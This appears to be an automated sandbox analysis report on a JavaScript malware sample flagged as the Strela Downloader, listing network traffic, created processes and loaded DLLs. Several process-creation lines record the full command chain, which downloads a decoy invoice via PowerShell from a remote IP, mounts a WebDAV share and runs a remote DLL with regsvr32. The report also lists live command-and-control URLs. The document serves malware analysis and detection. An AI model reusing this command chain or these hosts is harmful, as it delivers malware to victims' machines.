53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49727

Source: global traffic

TCP traffic: 192.168.2.6:49727 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:63864 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49711 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2171050906.000001826F07E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2171099527.000001826F0A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2238678348.000001D05A5CC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2238678348.000001D05A5EA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2238678348.000001D05A598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2238678348.000001D05A598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000002.2238678348.000001D05A5CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: svchost.exe, 00000009.00000002.3461387604.000002A62BC08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2237834353.000002A62BAB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7068, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 293459661900119816.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l5stxolq.zty.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1736,i,7282805556683548627,7091639814535454976,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1736,i,7282805556683548627,7091639814535454976,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
